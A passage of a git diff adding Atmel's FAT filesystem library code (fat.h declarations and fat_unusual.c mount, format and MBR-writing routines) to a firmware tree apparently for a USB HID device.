Fs_sector_cache; + + +//**** Definition of value used by the STRUCTURES of communication + +//! \name FAT type ID, used in "Fs_management_fast.u8_type_fat" +//! @{ +#define FS_TYPE_FAT_UNM 0 //!< Partition not mounted +#define FS_TYPE_FAT_12 1 +#define FS_TYPE_FAT_16 2 +#define FS_TYPE_FAT_32 3 +//! @} + + +//! \name Value used in "Fs_management_fast.u16_entry_pos_sel_file" +//! @{ +#define FS_NO_SEL 0xFFFF //!< Signal that a file entry isn't selected +#define FS_END_FIND 0xFFFE //!< Signal that a file entry is the last file entry accessibled by system +//! @} + + +//! \name Macro to check the file open mode +//! @{ +#define Fat_file_is_open() (fs_g_nav_entry.u8_open_mode !=0 ) +#define Fat_file_isnot_open() (fs_g_nav_entry.u8_open_mode ==0 ) +#define Fat_file_close() (fs_g_nav_entry.u8_open_mode =0 ) +//! @} + + +//_____ D E C L A R A T I O N S ____________________________________________ + +//**** Global file system variables + +//! Variables to select string format (initialised in nav_reset()) +_GLOBEXT_ Bool g_b_unicode; +//! Variables to select LENGTH string mode (initialised in nav_reset()) +_GLOBEXT_ Bool g_b_string_length; + +//! Variables to enable/disable the disk check before each action on disk +_GLOBEXT_ Bool g_b_no_check_disk; + +//! \name Variables initialised in drive_mount() +//! @{ +_GLOBEXT_ _MEM_TYPE_SLOW_ Fs_management fs_g_nav; +_GLOBEXT_ _MEM_TYPE_FAST_ Fs_management_fast fs_g_nav_fast; +_GLOBEXT_ _MEM_TYPE_SLOW_ Fs_management_entry fs_g_nav_entry; +//! @} + +//! Variable frequently used by many function (optimization, no parameter in function) +_GLOBEXT_ _MEM_TYPE_FAST_ Fs_segment fs_g_seg; + +//! To take time in functions: fat_getfreespace, fat_cluster_list, fat_cluster_val, fat_checkcluster +_GLOBEXT_ _MEM_TYPE_FAST_ Fs_cluster fs_g_cluster; + +#if (FS_LEVEL_FEATURES > FSFEATURE_READ) +//! \name Variables used to update the second FAT zone +//! @{ +_GLOBEXT_ _MEM_TYPE_SLOW_ uint32_t fs_g_u32_first_mod_fat; //!< Offset (unit 512B) in fat of the first sector (unit 512B) +_GLOBEXT_ _MEM_TYPE_SLOW_ uint32_t fs_g_u32_last_mod_fat; //!< Offset (unit 512B) in fat of the last sector (unit 512B) +//! @} +#endif // FS_LEVEL_FEATURES + +//! \name Variables used to manage the sector cache +//! @{ +_GLOBEXT_ _MEM_TYPE_SLOW_ uint8_t fs_g_sector[ FS_CACHE_SIZE ]; +_GLOBEXT_ _MEM_TYPE_SLOW_ Fs_sector_cache fs_g_sectorcache; +_GLOBEXT_ _MEM_TYPE_SLOW_ uint32_t fs_gu32_addrsector; //!< Store the address of futur cache (unit 512B) +typedef uint8_t _MEM_TYPE_SLOW_ * PTR_CACHE; +//!}@ + + + + +//! \name Functions to verify navigator state +//! @{ +Bool fat_check_device ( void ); +Bool fat_check_mount ( void ); +Bool fat_check_noopen ( void ); +Bool fat_check_open ( void ); +Bool fat_check_select ( void ); +Bool fat_check_mount_noopen ( void ); +Bool fat_check_mount_select_noopen ( void ); +Bool fat_check_mount_select_open ( void ); +Bool fat_check_mount_select ( void ); +Bool fat_check_is_file ( void ); +//! @} + +//! This function returns the number of partition present on selected drive +uint8_t fat_get_nbpartition ( void ); + +//! This function mounts a partition +Bool fat_mount ( void ); + +//! This function formats the drive +Bool fat_format ( uint8_t u8_fat_type ); + +//! This function reads or writes a serial number +Bool fat_serialnumber ( Bool b_action , uint8_t _MEM_TYPE_SLOW_ *a_u8_sn ); + + +//! \name Functions to compute free space on a partition +//! @{ +uint32_t fat_getfreespace ( void ); +uint8_t fat_getfreespace_percent ( void ); +Bool fat_write_fat32_FSInfo ( uint32_t u32_nb_free_cluster ); +uint32_t fat_read_fat32_FSInfo ( void ); +//! @} + + +//! \name Functions to manage the cluster list +//! @{ +Bool fat_cluster_list ( uint8_t opt_action, Bool b_for_file ); +void fat_cache_clusterlist_reset ( void ); +Bool fat_cluster_val ( Bool b_mode ); +Bool fat_cluster_readnext ( void ); +uint8_t fat_checkcluster ( void ); +Bool fat_allocfreespace ( void ); +void fat_clear_info_fat_mod ( void ); +Bool fat_clear_cluster ( void ); +Bool fat_update_fat2 ( void ); +//! @} + + +//! \name Functions to read or to write a file or a directory +//! @{ +Bool fat_read_file ( uint8_t mode ); +Bool fat_write_file ( uint8_t mode , uint32_t u32_nb_sector_write ); +Bool fat_read_dir ( void ); +Bool fat_initialize_dir ( void ); +//! @} + + +//! \name Functions to manage the entry field (fat.c) +//! @{ +Bool fat_entry_check ( Bool b_type ); +Bool fat_entry_checkext ( FS_STRING sz_filter ); +void fat_get_entry_info ( void ); +Bool fat_entry_is_dir ( void ); +void fat_clear_entry_info_and_ptr ( void ); +void fat_write_entry_file ( void ); +Bool fat_entry_shortname ( FS_STRING sz_name , uint8_t u8_size_max , Bool b_mode ); +Bool fat_entry_longname ( FS_STRING sz_name , uint8_t u8_size_max , Bool b_mode , Bool b_match_case ); +Bool fat_check_eof_name ( uint16_t character ); +PTR_CACHE fat_get_ptr_entry ( void ); +//! @} + + +//! \name Functions to manage the entry field (fat_unusual.c) +//! @{ +Bool fat_create_entry_file_name ( FS_STRING sz_name ); +void fat_get_date ( FS_STRING sz_date , Bool type_date ); +void fat_set_date ( const FS_STRING sz_date , Bool type_date ); +Bool fat_delete_file ( Bool b_cluster_list ); +Bool fat_entry_label ( Bool b_action , FS_STRING sz_label ); +//! @} + + +//! \name Functions to manage the cache +//! @{ +Bool fat_cache_read_sector ( Bool b_load ); +void fat_cache_reset ( void ); +void fat_cache_clear ( void ); +void fat_cache_mark_sector_as_dirty( void ); +Bool fat_cache_flush ( void ); +//! @} + + +//! \name Functions to control access disk +//! @{ +#if (FS_NB_NAVIGATOR > 1) + Bool fat_check_nav_access_disk ( void ); + Bool fat_check_nav_access_file ( Bool mode ); +#else +# define fat_check_nav_access_disk(b) (true) //! In case of one navigator, function not used +# define fat_check_nav_access_file(b) (true) //! In case of one navigator, function not used +#endif +//! @} + + +//! \name Functions to manage navigator switch +//! @{ +#if (FS_NB_NAVIGATOR > 1) + void fat_invert_nav ( uint8_t u8_idnav ); + void fat_copy_nav ( uint8_t u8_idnav ); +#else +# define fat_invert_nav ( arg ) (arg++) //! In case of one navigator, function not used +# define fat_copy_nav ( arg ) (arg++) //! In case of one navigator, function not used +#endif +//! @} + +#endif // _FAT_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/fat_unusual.c b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/fat_unusual.c new file mode 100755 index 0000000..b5b929c --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/fat_unusual.c @@ -0,0 +1,2499 @@ +/*This file has been prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief FAT services. + * + * This file is a set of rarely-used FAT functions. + * + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + *****************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ +//_____ I N C L U D E S ___________________________________________________ +#include "conf_explorer.h" +#include "fs_com.h" +#include "fat.h" +#include LIB_MEM +#include LIB_CTRLACCESS + + +//_____ D E F I N I T I O N S ______________________________________________ + + + + +//_____ D E C L A R A T I O N S ____________________________________________ + +Bool fat_select_filesystem ( uint8_t u8_fat_type , Bool b_MBR ); +Bool fat_write_MBR ( void ); +Bool fat_write_PBR ( Bool b_MBR ); +Bool fat_clean_zone ( Bool b_MBR ); +Bool fat_initialize_fat ( void ); + + +//! \name Sub routines used by date read-write routines +//! @{ +void fat_translatedate_number_to_ascii ( FS_STRING sz_date , PTR_CACHE ptr_date , Bool enable_ms ); +void fat_translate_number_to_ascii ( FS_STRING sz_ascii_number, uint8_t u8_size_number_ascii, uint8_t u8_nb_increment ); +void fat_translatedate_ascii_to_number ( const FS_STRING sz_date , PTR_CACHE ptr_date , Bool enable_ms ); +uint16_t fat_translate_ascii_to_number ( const FS_STRING sz_ascii_number, uint8_t u8_size_number_ascii ); +//! @} + +//! \name Sub routine used to create a entry file +//! @{ +void fat_create_long_name_entry ( FS_STRING sz_name , uint8_t u8_crc , uint8_t u8_id ); +uint8_t fat_create_short_entry_name ( FS_STRING sz_name , FS_STRING short_name , uint8_t nb , Bool mode ); +uint8_t fat_find_short_entry_name ( FS_STRING sz_name ); +Bool fat_entry_shortname_compare ( FS_STRING short_name ); +uint8_t fat_check_name ( FS_STRING sz_name ); +uint8_t fat_translate_char_shortname ( uint8_t character ); +Bool fat_alloc_entry_free ( uint8_t u8_nb_entry ); +Bool fat_garbage_collector_entry ( void ); +//! @} + + + + +//! This function mounts a partition file system (FAT12, FAT16 or FAT32) of selected drive +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Global variables used +//! IN : +//! fs_g_nav.u8_lun Indicate the drive to mount +//! fs_g_nav.u8_partition Indicate the partition to mount (if FS_MULTI_PARTITION = ENABLED ) +//! OUT: +//! fs_g_nav update structure +//! If the FS_MULTI_PARTITION option is disabled +//! then the mount routine selects the first partition supported by file system.
+//! @endverbatim +//! +Bool fat_mount( void ) +{ + uint8_t u8_sector_size; + uint8_t u8_tmp; + uint16_t u16_tmp; + uint32_t u32_tmp; + + // Select the root directory + fs_g_nav.u32_cluster_sel_dir = 0; + // No selected file + fat_clear_entry_info_and_ptr(); + + fs_g_nav_fast.u8_type_fat = FS_TYPE_FAT_UNM; + fs_gu32_addrsector = 0; // Start read at the beginning of memory + + // Check if the drive is availabled + if( !fat_check_device() ) + return false; + + while( 1 ) // Search a valid partition + { + // Read one sector + if( !fat_cache_read_sector( true )) + return false; + + // Check PBR/MBR signature + if ( (fs_g_sector[510] != FS_BR_SIGNATURE_LOW ) + && (fs_g_sector[511] != FS_BR_SIGNATURE_HIGH ) ) + { + fs_g_status = FS_ERR_NO_FORMAT; + return false; + } + + if ( 0 == fs_gu32_addrsector ) + { + //** first sector then check a MBR structure + // Search the first partition supported +#if (FS_MULTI_PARTITION == ENABLED) + u16_tmp=0; // Init to "no valid partition found" +#endif + for( u8_tmp=0 ; u8_tmp!=4 ; u8_tmp++ ) + { + // The first sector must be a MBR, then check the partition entry in the MBR + if ( ((fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(u8_tmp)+0] == FS_PART_BOOTABLE )|| + (fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(u8_tmp)+0] == FS_PART_NO_BOOTABLE ) ) + && ((fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(u8_tmp)+4] == FS_PART_TYPE_FAT12 )|| + (fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(u8_tmp)+4] == FS_PART_TYPE_FAT16_INF32M )|| + (fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(u8_tmp)+4] == FS_PART_TYPE_FAT16_SUP32M )|| + (fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(u8_tmp)+4] == FS_PART_TYPE_FAT16_SUP32M_BIS)|| + (fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(u8_tmp)+4] == FS_PART_TYPE_FAT32 )|| + (fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(u8_tmp)+4] == FS_PART_TYPE_FAT32_BIS )) ) + { + // A valid partition is found +#if (FS_MULTI_PARTITION == ENABLED) + if( u16_tmp == fs_g_nav.u8_partition ) + break; // The selected partition is valid + u16_tmp++; +#else + break; +#endif + } + } + if( u8_tmp != 4 ) + { + // Partition found -> Get partition position (unit sector) at offset 8 + LSB0(fs_gu32_addrsector) = fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(u8_tmp)+8]; + LSB1(fs_gu32_addrsector) = fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(u8_tmp)+9]; + LSB2(fs_gu32_addrsector) = fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(u8_tmp)+10]; + LSB3(fs_gu32_addrsector) = fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(u8_tmp)+11]; + fs_gu32_addrsector *= mem_sector_size( fs_g_nav.u8_lun ); + continue; // Go to check PBR of partition + } + + // No MBR found then check PBR +#if (FS_MULTI_PARTITION == ENABLED) + // The device don't have mutli partition, but only one + if ( 0 != fs_g_nav.u8_partition ) + { + fs_g_status = FS_ERR_NO_PART; + return false; + } +#endif + } + + //** Check a PBR structure + if ( (fs_g_sector[0] == 0xEB) && // PBR Byte 0 + (fs_g_sector[2] == 0x90) && // PBR Byte 2 + ((fs_g_sector[21] & 0xF0) == 0xF0) ) // PBR Byte 21 : Media byte + { + break; // valid PBR found + } + // PBR not found + fs_g_status = FS_ERR_NO_PART; + return false; + } + + fs_g_status = FS_ERR_NO_SUPPORT_PART; // by default partition no supported + + // Get sector size of File System (unit 512B) + // To translate from sector disk unit to sector 512B unit + u8_sector_size = HIGH_16_BPB_BytsPerSec/2; + + // Read BPB_SecPerClus (unit sector) + fs_g_nav.u8_BPB_SecPerClus = U8_BPB_SecPerClus * u8_sector_size; + + //** FAT Type determination (algorithm of "Hardware White Paper FAT") + // Get FAT size (unit sector) + u32_tmp=0; + LSB0( u32_tmp ) = LOW_16_BPB_FATSz16; + LSB1( u32_tmp ) = HIGH_16_BPB_FATSz16; + if ( 0==u32_tmp ) + { + LSB0( u32_tmp ) = LOW0_32_BPB_FATSz32; + LSB1( u32_tmp ) = LOW1_32_BPB_FATSz32; + LSB2( u32_tmp ) = LOW2_32_BPB_FATSz32; + LSB3( u32_tmp ) = LOW3_32_BPB_FATSz32; + } + fs_g_nav.u32_fat_size = u32_tmp * u8_sector_size; + + // Get total count of sectors in partition + if ( (0==LOW_16_BPB_TotSec16) && (0==HIGH_16_BPB_TotSec16) ) + { + LSB0( u32_tmp ) = LOW0_32_BPB_TotSec32; + LSB1( u32_tmp ) = LOW1_32_BPB_TotSec32; + LSB2( u32_tmp ) = LOW2_32_BPB_TotSec32; + LSB3( u32_tmp ) = LOW3_32_BPB_TotSec32; + } + else + { + LSB0( u32_tmp ) = LOW_16_BPB_TotSec16; + LSB1( u32_tmp ) = HIGH_16_BPB_TotSec16; + LSB2( u32_tmp ) = 0; + LSB3( u32_tmp ) = 0; + } + u32_tmp *= u8_sector_size; // Translate from sector disk unit to sector 512B unit + + // Compute the offset (unit 512B) between the end of FAT (beginning of root dir in FAT1x) and the beginning of PBR + fs_g_nav.rootdir.seg.u16_pos = FS_NB_FAT * (uint16_t)fs_g_nav.u32_fat_size; + + // Compute the root directory size (unit sector), for FAT32 is always 0 + LSB( u16_tmp ) = LOW_16_BPB_RootEntCnt; + MSB( u16_tmp ) = HIGH_16_BPB_RootEntCnt; + fs_g_nav.rootdir.seg.u16_size = ((u16_tmp * FS_SIZE_FILE_ENTRY) + ((FS_512B*u8_sector_size)-1)) / (FS_512B*u8_sector_size); + fs_g_nav.rootdir.seg.u16_size *= u8_sector_size; + + // Get number of reserved sector + LSB( u16_tmp ) = LOW_16_BPB_ResvSecCnt; + MSB( u16_tmp ) = HIGH_16_BPB_ResvSecCnt; + // Get FSInfo position + fs_g_nav.u16_offset_FSInfo = (u16_tmp-LOW_16_BPB_FSInfo)*u8_sector_size; + u16_tmp *= u8_sector_size; // number of reserved sector translated in unit 512B + + // Compute the FAT address (unit 512B) + fs_g_nav.u32_ptr_fat = fs_gu32_addrsector + u16_tmp; + + // Compute the offset (unit 512B) between the first data cluster and the FAT beginning + fs_g_nav.u32_offset_data = (FS_NB_FAT * fs_g_nav.u32_fat_size) + (uint32_t)fs_g_nav.rootdir.seg.u16_size; + + // Compute the data region (clusters space = Total - Sector used) size (unit 512B) + u32_tmp -= ((uint32_t)u16_tmp + fs_g_nav.u32_offset_data); + + // Compute the count of CLUSTER in the data region + // !!!Optimization -> u32_CountofCluster (unit 512B)/ fs_g_nav.u8_BPB_SecPerClus (unit 512B & power of 2) + if (!fs_g_nav.u8_BPB_SecPerClus) + return false; + for( u8_tmp = fs_g_nav.u8_BPB_SecPerClus; u8_tmp!=1 ; u8_tmp >>= 1 ) + { + u32_tmp >>= 1; // This computation round down + } + fs_g_nav.u32_CountofCluster = u32_tmp+2; // The total of cluster include the two reserved clusters + + // Determine the FAT type + if (u32_tmp < FS_FAT12_MAX_CLUSTERS) + { + // Is FAT 12 +#if (FS_FAT_12 == DISABLED) + return false; +#endif + fs_g_nav_fast.u8_type_fat = FS_TYPE_FAT_12; + } else { + if (u32_tmp < FS_FAT16_MAX_CLUSTERS) + { + // Is FAT 16 +#if (FS_FAT_16 == DISABLED) + return FS_NO_SUPPORT_PART; +#endif + fs_g_nav_fast.u8_type_fat = FS_TYPE_FAT_16; + } else { + // Is FAT 32 +#if (FS_FAT_32 == DISABLED) + return false; +#endif + fs_g_nav_fast.u8_type_fat = FS_TYPE_FAT_32; + // In FAT32, the root dir is like another directory, this one have a cluster list + // Get the first cluster number of root + LSB0( fs_g_nav.rootdir.u32_cluster ) = LOW0_32_BPB_RootClus; + LSB1( fs_g_nav.rootdir.u32_cluster ) = LOW1_32_BPB_RootClus; + LSB2( fs_g_nav.rootdir.u32_cluster ) = LOW2_32_BPB_RootClus; + LSB3( fs_g_nav.rootdir.u32_cluster ) = LOW3_32_BPB_RootClus; + } + } + + return true; +} + + + +#if (FSFEATURE_WRITE_COMPLET == (FS_LEVEL_FEATURES & FSFEATURE_WRITE_COMPLET) ) + +//! \name Global variable to optimize the footprint of format routines +_MEM_TYPE_SLOW_ uint32_t fs_s_u32_size_partition; + +//! This function formats the current drive +//! +//! @param u8_fat_type Select the type of format
+//! FS_FORMAT_DEFAULT, The file system module choose the better FAT format for the drive space
+//! FS_FORMAT_FAT, The FAT12 or FAT16 is used to format the drive, if possible (disk space <2GB)
+//! FS_FORMAT_FAT32, The FAT32 is used to format the drive, if possible (disk space >32MB)
+//! FS_FORMAT_NOMBR_FLAG if you don't want a MRB in disk then add this flag (e.g. FAT format on a CD support) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Global variables used +//! IN : +//! fs_g_nav.u8_lun indicate the drive to format +//! +//! This routine can't format a multi-partiton, if the disk contains a multi-partition area +//! then the multi-partition will be erased and replaced by a single partition on all disk space. +//! @endverbatim +//! +Bool fat_format( uint8_t u8_fat_type ) +{ + Bool b_MBR; +#if (FS_MULTI_PARTITION == ENABLED) +#error NOT SUPPORTED + fs_g_nav.u8_partition = 0; +#endif + + + // Get drive capacity (= last LBA) + mem_read_capacity( fs_g_nav.u8_lun , &fs_s_u32_size_partition ); + + if( u8_fat_type & FS_FORMAT_NOMBR_FLAG ) + { + b_MBR = false; + u8_fat_type &= ~FS_FORMAT_NOMBR_FLAG; + // partition size = disk size = last LBA + 1 + fs_s_u32_size_partition++; + }else{ + b_MBR = true; + // partition size = size disk -1 = last LBA + } + + // Compute the FAT type for the device + if( !fat_select_filesystem( u8_fat_type , b_MBR )) + return false; + + // Write the MBR sector (first sector) + if( b_MBR ) + if( !fat_write_MBR()) + return false; + + // Write the PBR sector + if( !fat_write_PBR( b_MBR )) + return false; + + // Clear reserved zone, FAT zone, and Root dir zone + // Remark: the reserved zone of FAT32 isn't initialized, because BPB_FSInfo is equal to 0 + if( !fat_clean_zone( b_MBR )) + return false; + + // Initialization of the FAT 1 and 2 + if( !fat_initialize_fat()) + return false; + + return fat_cache_flush(); +} + + + +//! \name Struture for the tables format +typedef struct st_fs_format_table { + uint32_t u32_disk_size; + uint8_t u8_SecPerClusVal; +} Fs_format_table; + + +//! Table format for FAT12 +_CONST_TYPE_ Fs_format_table TableFAT12[] = { + { 4096, 1}, // disks up to 2 MB, 512 bytes cluster + { 8192, 2}, // disks up to 4 MB, 1k cluster + { 16384, 4}, // disks up to 8 MB, 2k cluster + { 32680, 8}, // disks up to 16 MB, 4k cluster +}; +/* +NOTE: that this table includes +entries for disk sizes larger than 16 MB even though typically +only the entries for disks < 16 MB in size are used. +The way this table is accessed is to look for the first entry +in the table for which the disk size is less than or equal +to the DiskSize field in that table entry. For this table to +work properly BPB_RsvdSecCnt must be 1, BPB_NumFATs +must be 2, and BPB_RootEntCnt must be 512. +*/ + + +//! Table format for FAT16 +_CONST_TYPE_ Fs_format_table TableFAT16[] = { + { 8400, 0}, // disks up to 4.1 MB, the 0 value for SecPerClusVal trips an error + { 32680, 2}, // disks up to 16 MB, 1k cluster + { 262144, 4}, // disks up to 128 MB, 2k cluster + { 524288, 8}, // disks up to 256 MB, 4k cluster + { 1048576, 16}, // disks up to 512 MB, 8k cluster + // The entries after this point are not used unless FAT16 is forced + { 2097152, 32}, // disks up to 1 GB, 16k cluster + { 4194304, 64}, // disks up to 2 GB, 32k cluster + { 0xFFFFFFFF, 0} // any disk greater than 2GB, 0 value for SecPerClusVal trips an error +}; +/* +NOTE: that this table includes +entries for disk sizes larger than 512 MB even though typically +only the entries for disks < 512 MB in size are used. +The way this table is accessed is to look for the first entry +in the table for which the disk size is less than or equal +to the DiskSize field in that table entry. For this table to +work properly BPB_RsvdSecCnt must be 1, BPB_NumFATs +must be 2, and BPB_RootEntCnt must be 512. Any of these values +being different may require the first table entries DiskSize value +to be changed otherwise the cluster count may be to low for FAT16. +*/ + + +//! Table format for FAT32 +_CONST_TYPE_ Fs_format_table TableFAT32[] = { + { 66600, 0}, // disks up to 32.5 MB, the 0 value for SecPerClusVal trips an error + { 532480, 1}, // disks up to 260 MB, .5k cluster + { 16777216, 8}, // disks up to 8 GB, 4k cluster + { 33554432, 16}, // disks up to 16 GB, 8k cluster + { 67108864, 32}, // disks up to 32 GB, 16k cluster + { 0xFFFFFFFF, 64} // disks greater than 32GB, 32k cluster +}; +/* +NOTE: that this table includes +entries for disk sizes smaller than 512 MB even though typically +only the entries for disks >= 512 MB in size are used. +The way this table is accessed is to look for the first entry +in the table for which the disk size is less than or equal +to the DiskSize field in that table entry. For this table to +work properly BPB_RsvdSecCnt must be 32, and BPB_NumFATs +must be 2. Any of these values being different may require the first +table entries DiskSize value to be changed otherwise the cluster count +may be to low for FAT32. +*/ + + +//! \name Sub routines used by format routine +//! @{ + +//! This function computes the FAT type to use +//! +//! @param u8_fat_type Select the type of format
+//! FS_FORMAT_DEFAULT, The file system module chooses the better FAT format for the drive space
+//! FS_FORMAT_FAT, The FAT12 or FAT16 is used to format the drive, if possible (disk space <2GB)
+//! FS_FORMAT_FAT32, The FAT32 is used to format the drive, if possible (disk space >32MB)
+//! @param b_MBR true, include a MBR on disk +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Compute the fat type, fat position and fat size. +//! @endverbatim +//! +Bool fat_select_filesystem( uint8_t u8_fat_type , Bool b_MBR ) +{ + uint8_t u8_i; + uint8_t u8_tmp = 0; + uint16_t u16_tmp, u16_tmp2; + Fs_format_table _CONST_TYPE_ *ptr_table; + + if( (FS_FORMAT_FAT != u8_fat_type ) + && (FS_FORMAT_FAT32 != u8_fat_type ) ) + { + // Default format then select the better FAT type + if( (((uint32_t)512*1024*1024)/FS_512B) >= fs_s_u32_size_partition ) + { + u8_fat_type = FS_FORMAT_FAT; + } else { + u8_fat_type = FS_FORMAT_FAT32; + } + } + + //** Verify the FAT type choosed + if(FS_FORMAT_FAT == u8_fat_type ) + { + if( (((uint32_t)2*1024*1024)/FS_512B) >= fs_s_u32_size_partition ) + { + fs_g_status = FS_ERR_DEVICE_TOO_SMALL; // The disk size is not supported + return false; + } + if( (((uint32_t)15*1024*1024)/FS_512B) >= fs_s_u32_size_partition ) + { + // FAT 12 format + fs_g_nav_fast.u8_type_fat = FS_TYPE_FAT_12; + u8_i = sizeof(TableFAT12); + ptr_table = TableFAT12; + }else{ + // FAT 16 format + fs_g_nav_fast.u8_type_fat = FS_TYPE_FAT_16; + u8_i = sizeof(TableFAT16); + ptr_table = TableFAT16; + } + } + else + { // FAT 32 format + fs_g_nav_fast.u8_type_fat = FS_TYPE_FAT_32; + u8_i = sizeof(TableFAT32); + ptr_table = TableFAT32; + } + for( ; u8_i!=0 ; u8_i-- ) + { + if( fs_s_u32_size_partition <= ptr_table->u32_disk_size ) + { + // Get cluster size (unit sector) + fs_g_nav.u8_BPB_SecPerClus = ptr_table->u8_SecPerClusVal; + break; + } + ptr_table++; + } + if(0 == fs_g_nav.u8_BPB_SecPerClus) + { + fs_g_status = FS_ERR_BAD_SIZE_FAT; // The disk size is not supported by selected FAT type + return false; + } + + //** Compute fat size + // Compute PBR address + if( b_MBR ) + fs_g_nav.u32_ptr_fat = 1; // MBR exist + else + fs_g_nav.u32_ptr_fat = 0; // no MBR + + if( Is_fat12 ) + { // FAT 12 + fs_g_nav.u32_ptr_fat += 1; // FAT address = PBR address + 1 + // Try all possibility of FAT12 size + fs_g_nav.u32_fat_size=1; + while(1) + { + if( 12 < fs_g_nav.u32_fat_size) // Max FAT size in FAT12 mode (unit sector) (=0xFFE*1.5/FS_512B) + { + fs_g_status = FS_ERR_BAD_SIZE_FAT; // The disk size is not supported by file system selected + return false; + } + // Check if the number of cluster corresponding at data zone size + // Note: -1 to not compute PBR sector + u16_tmp = ((fs_s_u32_size_partition -1 - (fs_g_nav.u32_fat_size *2)) / fs_g_nav.u8_BPB_SecPerClus)+2; + u16_tmp2 = (fs_g_nav.u32_fat_size *FS_512B *2) / 3; + if( u16_tmp <= u16_tmp2 ) + break; // FAT size OK + + fs_g_nav.u32_fat_size++; + } + } + else + { + if( Is_fat32 ) + { // FAT 32 + fs_g_nav.u32_ptr_fat += 32; // FAT address = PBR address + BPB_ResvSecCnt + // RootDirSectors = ((BPB_RootEntCnt * 32) + (BPB_BytsPerSec - 1)) / BPB_BytsPerSec; + // = (FS_512B-1) / FS_512B = 0 + // TmpVal1 = DskSize - (BPB_ResvdSecCnt + RootDirSectors); + // = fs_s_u32_size_partition - (32 + 0) + // = fs_s_u32_size_partition - u8_tmp + u8_tmp = 32; + // TmpVal2 = ((256 * BPB_SecPerClus) + BPB_NumFATs )/2; + // = ((((uint16_t)fs_g_nav.u8_BPB_SecPerClus)<<8) + 2) >> 1; + // = (((uint16_t)fs_g_nav.u8_BPB_SecPerClus)<<7) + 1; + // = u16_tmp + u16_tmp = (((uint16_t)fs_g_nav.u8_BPB_SecPerClus)<<7) + 1; + // BPB_FATSz16 = 0; + // BPB_FATSz32 = FATSz; + } + if( Is_fat16 ) + { // FAT 16 + fs_g_nav.u32_ptr_fat += 1; // FAT address = PBR address + BPB_ResvSecCnt + // RootDirSectors = ((BPB_RootEntCnt * 32) + (BPB_BytsPerSec - 1)) / BPB_BytsPerSec + // = ((512 * 32) + (FS_512B-1)) / FS_512B + // = 32 + // TmpVal1 = DskSize - (BPB_ResvdSecCnt + RootDirSectors); + // = fs_s_u32_size_partition - (1 + 32) + // = fs_s_u32_size_partition - u8_tmp + u8_tmp = 33; + // TmpVal2 = ((256 * BPB_SecPerClus) + BPB_NumFATs )/2; + // = (((uint16_t)fs_g_nav.u8_BPB_SecPerClus)<<8) + 2; + // = u16_tmp + MSB(u16_tmp) = fs_g_nav.u8_BPB_SecPerClus; + LSB(u16_tmp) = 2; + } + // FATSz = (TMPVal1 + TmpVal2 - 1) / TmpVal2; + fs_g_nav.u32_fat_size = (fs_s_u32_size_partition -u8_tmp +u16_tmp -1) / u16_tmp; + } + + return true; +} + + +//! This function writes the MBR +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool fat_write_MBR( void ) +{ + uint8_t u8_i = 0; + + // Init and reset the internal cache at the beginning of memory + fs_gu32_addrsector = 0; + if( !fat_cache_read_sector( false )) + return false; + fat_cache_mark_sector_as_dirty(); + fat_cache_clear(); + + // MBR signature + fs_g_sector[510] = FS_BR_SIGNATURE_LOW; + fs_g_sector[511] = FS_BR_SIGNATURE_HIGH; + + // Write the partition entry in the MBR + fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0) +0] = FS_PART_NO_BOOTABLE; // Active partition + // Remark: cylinder and header start to 0, and sector value start to 1 + //fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0) +1] = 0; // The head (0) where the partition starts + fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0) +2] = 2; // The 